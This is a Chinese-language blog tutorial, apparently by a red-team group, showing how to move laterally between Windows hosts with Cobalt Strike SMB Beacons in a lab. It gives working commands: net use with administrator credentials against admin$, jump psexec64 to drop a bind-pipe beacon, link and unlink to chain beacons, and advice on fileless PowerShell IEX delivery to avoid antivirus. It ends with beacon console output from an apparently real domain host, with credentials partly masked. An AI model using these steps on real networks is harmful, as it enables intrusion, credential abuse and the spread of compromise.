有機會一起喝茶
BUGFOR「.」COM 官網 團隊招人
正文
通過命名管道 psexec 通過 SMB Listener 橫向過去的話,會在 admin$ 共享路徑下上傳一個 exe 文件,這樣可能過不了殺軟。
但是 SMB Beacon 可以生成 Stageless 的 PowerShell payload。
如果把此 ps1 放到遠程進行下載、IEX 執行就可以無文件繞過查殺,結合 https 監聽器即可。
謝謝 @undefined 師傅教我。
昨天一個朋友問我 SMB Beacon 怎麼上線,我想在網上找篇文章給他沒找到,於是自己寫一篇。既然我寫了那麼多 CS 教程都忘了寫這篇,也算是填個坑,可能你們 HW 時候用得到。
0x01 主機1 - 初始權限小聲bb:為什麼選這個做實驗,因為它防護少。不像 2019 那麼變態(默認開 defender),這樣一會兒就要涉及免殺了。選 2008 做實驗,省掉不少煩惱。再者,昨天我朋友遇到的真實環境也真的是 2008。我這幾臺主機上面防護軟體就只有阿里雲盾 AliYunDun.exe。
通過 Scripted Web Delivery(powershell) 生成的 payload 上線第一臺主機,其 hostname 為 father。
既然已經是 Administrator 權限,就省去了提權的步驟。
0x02 主機2 - SMB 上線SMB Beacon 的使用場景是:
Klion《CobatStrike 各個協議監聽器及 payload 詳細用法 》:
當前已拿到了目標內網中的一臺機器的 beacon shell,然後又通過其它方式搞到了同內網下的另一臺 windows 機器的本地 administrator 密碼且這臺機器的 SMB[445 埠]能正常通。不幸的是、由於各種各樣的原因限制,那臺 windows 機器並不能正常訪問外網,也就是說沒法再正常的反彈 beacon shell 了,那麼其他那些反向監聽器也就全都用不上了,而我現在就想通過當前僅有的這個 beacon shell 能不能把內網那臺不能正常訪問外網的機器也一塊給帶出來呢?答案是肯定的,bind_pipe 就是專為適應這種實戰場景而設計的。
註:bind_pipe 是 CS SMB 協議 payload 的名字。
1、探測內網 445 埠開放情況
探測結果如下:
除了 hostname 為 FATHER 的這臺主機,還有兩臺主機的 445 埠開放:
先通過 SMB 協議使 190 主機上線:
2、 創建一個 SMB listener
監聽器名稱為 smb
Pipename 管道名稱為 test
可以注意到這個 SMB 監聽器並沒有讓我們指定埠,其實 CS 3.14 之前是可以指定埠的,但是在 CS 4.0 中直接刪掉了IP 和埠的填寫框。這是因為這個 Beacon Shell 會通過管道過去,只要對方機器的 445 埠保持暢通,那麼埠其實用不用都無所謂,至於 IP 保持默認即可。
3、 使用欲橫向主機的憑據填充令牌
beacon> shell net use \\172.31.51.190\admin$ /user:"administrator" "test1234@" beacon> ls \\172.31.51.190\c$
4、 SMB 連結過去
beacon> jump psexec64 172.31.51.190 smb
這樣就通過 SMB 協議成功橫向到了 172.31.51.190 這臺主機,獲取了其 SMB Beacon!
0x03 主機3 - link 連結對於主機3(172.31.51.192),我想從主機2 (172.31.51.190)走 SMB 協議橫向過去。
1、填充憑據
現在還要上線 172.31.51.192 這臺主機,這臺主機同樣開放了 445 埠,另外它和 172.31.51.189 的憑據相同,那麼主機1就已經有其令牌了。
可以看到從 172.31.51.189 可以直接查看192這臺主機的 c 盤文件:
但是在 172.31.51.190 這臺主機就不可以:
這裡注意一下這裡的報錯 error 5:
如果在嘗試去連接到一個 Beacon 之後得到一個 error 5(權限拒絕),可以嘗試這樣解決:竊取域用戶的令牌或使用 make_token DOMAIN\user password 來使用對於目標有效的憑據來填充你的當前令牌,然後再次嘗試去連接到 Beacon。
順便提一句:53 錯誤是 445 埠不通,如下:
填充憑據:
註:自行查詢 ipc admin$。
對於 error 1312的解決方法:net use「發生系統錯誤 1312。指定的登錄會話不存在。可能已被終止。」解決方法
2、link SMB Beacon
從 Beacon 控制臺使用 link [host] [Pipename] 可以把當前的 Beacon 連結到一個等待連接的 SMB Beacon。噹噹前 Beacon check in,它的連結的對等 Beacon 也會 check in。
註:所謂的 check in ,指的是 Beacon 回連主機,回傳受害系統的元數據,準備好進行任務數據通訊的狀態。
注意上面的劃線部分,什麼叫「等待連結」?我們可以做個小實驗來理解其概念。
在主機2(172.31.51.190)的 Beacon Shell 中填充完主機3(172.31.51.192)的憑據、獲取了其 token 之後,我們來嘗試一下 link 命令。如下圖所示是失敗的。
於是我們使用 psexec 命令從主機2(172.31.51.190)橫向到主機3(172.31.51.192),於是就建立了主機2到主機3的連結:
CS 官方手冊 snowming 譯本:
要銷毀一個 Beacon 連結,在父會話或子會話中使用 unlink [ip address] [session PID] 。這個 [session PID] 參數是要取消連結的 Beacon 的進程 ID。該值用於當有多個子 Beacon 時,指定一個特定的 Beacon 來斷開連結。
我們使用 unlink 172.31.51.192 2520 命令取消對主機3的連結:
但是對主機3的 SMB Beacon 取消連結之後,發生了什麼呢?
此 SMB Beacon 不會離開並消失。相反,它進入一種等待其他 Beacon 連接的狀態。我們可以使用 link 命令來從將來的另一個 Beacon 恢復對 SMB Beacon 的控制。
於是再次嘗試 link 命令,就成功了!
所以總結一下:什麼叫「等待連結」?
就是之前橫向過獲得了其 SMB Beacon,然後通過 unlink 命令取消了對此 SMB Beacon 的連結,之後這個被取消連結的 SMB Beacon 就處於等待連結狀態。可以通過 link 命令再次連結。
這裡還有一些額外要補充的:
為了與正常流量融合,連結的 Beacon 使用 Windows 命名管道進行通信。這個流量被封裝於 SMB 協議中。對於此方法有一些警告:
具有 SMB Beacon 的主機必須接受 445 埠上的連接。
只能連結由同一個 Cobalt Strike 實例管理的 Beacon。
0x04 總結SMB Beacon 使用場景:
當前已拿到了目標內網中的一臺機器的 beacon shell,然後又通過其它方式搞到了同內網下的另一臺 windows 機器的本地 administrator 密碼且這臺機器的 SMB[445 埠]能正常 通。不幸的是、由於各種各樣的原因限制,那臺 windows 機器並不能正常訪問外網,也就是說沒法再正常的反彈 beacon shell 了,那麼其他那些反向監聽器也就全都用不上了,而我現在就想通過當前僅有的這個 beacon shell 能不能把內網那臺不能正常訪問外網的機器也一塊給帶出來呢?答案是肯定的,bind_pipe 就是專為適應這種實戰場景而設計的。
SMB Beacon 使用步驟:
1. 建立 SMB 監聽器2. 填充憑據beacon> shell net use \\172.31.51.190\admin$ /user:"administrator" "test1234@" 3. 橫向建立 SMB Beaconbeacon> jump psexec64 172.31.51.190 smb 4. 取消連結unlink [ip address] [session PID]5. 再次連結到 SMB Beaconlink [host] [Pipename]最終效果展示:
一個圈(我又加上了 hostname 為 bro 的 SMB Beacon 對 hostname 為 father 的 SMB Beacon 的一個級聯連結):
多個級聯:
2020/6/11日更新:
使用 SMB Beacon 的前提是憑據必須是 administrator 的。
我試過用域內的服務帳戶的憑據去 SMB 一臺域內主機。如下面的記錄,填充憑據沒有問題,也可以列出目錄。但是 jump psexec 橫向時候就失敗了。
beacon> shell net use \\192.168.0.134\C$ /user:"DT****\ir***ervice" "i*****123"[*] Tasked beacon to run: net use \\192.168.0.134\C$ /user:"DTG***M\ir***ervice" "i*****123"[+] host called home, sent: 101 bytes[+] received output:The command completed successfully.# 註:這條命令的回顯我省略了部分beacon> ls \\192.168.0.134\C$[*] Tasked beacon to list files in \\192.168.0.134\C$[+] host called home, sent: 36 bytes[*] Listing: \\192.168.0.134\C$\Size Type Last Modified Name---- ---- --- ---- dir 05/17/2019 14:30:58 $Recycle.Bin dir 01/30/2013 21:18:26 Backup CA dir 01/14/2015 18:01:19 Backup Exec AOFO Store beacon> jump psexec64 192.168.0.134 smb[*] Tasked beacon to run windows/beacon_bind_pipe (\\.\pipe\msagent_98d5) on 192.168.0.134 via Service Control Manager (\\192.168.0.134\ADMIN$\773c614.exe)[+] host called home, sent: 289492 bytes[-] Could not open service control manager on 192.168.0.134: 5[-] Could not connect to pipe: 2
所以說必須是有了想要橫向的那臺主機的管理員權限才可以!!!
參考文檔:CobatStrike 各個協議監聽器及 payload 詳細用法,Klion [星球文章請勿向我索要]
CobaltStrike4.0用戶手冊_中文翻譯,QAX-A TEAM
BUGFOR 安全團隊聯繫人